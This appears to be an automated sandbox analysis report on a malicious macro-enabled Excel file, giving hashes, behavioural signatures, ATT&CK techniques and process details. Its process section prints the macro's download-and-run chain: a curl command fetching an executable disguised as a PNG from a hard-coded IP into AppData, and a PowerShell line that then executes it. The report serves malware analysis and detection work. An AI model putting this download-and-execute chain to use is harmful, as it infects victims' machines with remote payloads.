25c21312f08085b556530382fee3e20b8bab4cd71807644dd3eaced0b4b03585

General

Target

25c21312f08085b556530382fee3e20b8bab4cd71807644dd3eaced0b4b03585.xlsm
Size

128KB
MD5

522613de6c64fbb125351951a93e3e64
SHA1

4bb1a57dbc7d890d97ee82c30f2f97946484e004
SHA256

25c21312f08085b556530382fee3e20b8bab4cd71807644dd3eaced0b4b03585
SHA512

cb3d9de9f5da2e19479f6e3b32fdaa7718515f53714dd90dbf93c613d2a6361db8a181f6d803800da5cd420e55ff8fcfb85ee6fea2c6701337c768fc7370b8ad

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1720	1268	powershell.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1728	1268	cmd.exe	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1268 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1720 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1720 powershell.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

EXCEL.EXE

pid process

1268 EXCEL.EXE
1268 EXCEL.EXE
1268 EXCEL.EXE
1268 EXCEL.EXE
1268 EXCEL.EXE
1268 EXCEL.EXE

pid	process
1268	EXCEL.EXE

pid	process
1720	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1720	powershell.exe

pid	process
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 1268 wrote to memory of 1720	1268	EXCEL.EXE	powershell.exe
PID 1268 wrote to memory of 1720	1268	EXCEL.EXE	powershell.exe
PID 1268 wrote to memory of 1720	1268	EXCEL.EXE	powershell.exe
PID 1268 wrote to memory of 1720	1268	EXCEL.EXE	powershell.exe
PID 1268 wrote to memory of 1728	1268	EXCEL.EXE	cmd.exe
PID 1268 wrote to memory of 1728	1268	EXCEL.EXE	cmd.exe
PID 1268 wrote to memory of 1728	1268	EXCEL.EXE	cmd.exe
PID 1268 wrote to memory of 1728	1268	EXCEL.EXE	cmd.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\25c21312f08085b556530382fee3e20b8bab4cd71807644dd3eaced0b4b03585.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1268

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\AyBtH.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1720

C:\Windows\SysWOW64\cmd.exe
cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\AyBtH.exe
2⤵
- Process spawned unexpected child process
PID:1728

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1268-59-0x000000002F821000-0x000000002F824000-memory.dmp

Filesize
12KB

Download
memory/1268-60-0x0000000071191000-0x0000000071193000-memory.dmp

Filesize
8KB

Download
memory/1268-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1720-69-0x0000000004862000-0x0000000004863000-memory.dmp

Filesize
4KB

Download
memory/1720-73-0x0000000005770000-0x0000000005771000-memory.dmp

Filesize
4KB

Download
memory/1720-64-0x0000000075591000-0x0000000075593000-memory.dmp

Filesize
8KB

Download
memory/1720-65-0x0000000000FA0000-0x0000000000FA1000-memory.dmp

Filesize
4KB

Download
memory/1720-66-0x00000000048A0000-0x00000000048A1000-memory.dmp

Filesize
4KB

Download
memory/1720-67-0x00000000011C0000-0x00000000011C1000-memory.dmp

Filesize
4KB

Download
memory/1720-68-0x0000000004860000-0x0000000004861000-memory.dmp

Filesize
4KB

Download
memory/1720-62-0x0000000000000000-mapping.dmp

Download
memory/1720-70-0x0000000005250000-0x0000000005251000-memory.dmp

Filesize
4KB

Download
memory/1720-104-0x0000000006610000-0x0000000006611000-memory.dmp

Filesize
4KB

Download
memory/1720-78-0x0000000005810000-0x0000000005811000-memory.dmp

Filesize
4KB

Download
memory/1720-79-0x0000000006470000-0x0000000006471000-memory.dmp

Filesize
4KB

Download
memory/1720-80-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1720-87-0x0000000006360000-0x0000000006361000-memory.dmp

Filesize
4KB

Download
memory/1720-88-0x0000000006500000-0x0000000006501000-memory.dmp

Filesize
4KB

Download
memory/1720-89-0x00000000062B0000-0x00000000062B1000-memory.dmp

Filesize
4KB

Download
memory/1720-103-0x0000000006600000-0x0000000006601000-memory.dmp

Filesize
4KB

Download
memory/1728-63-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads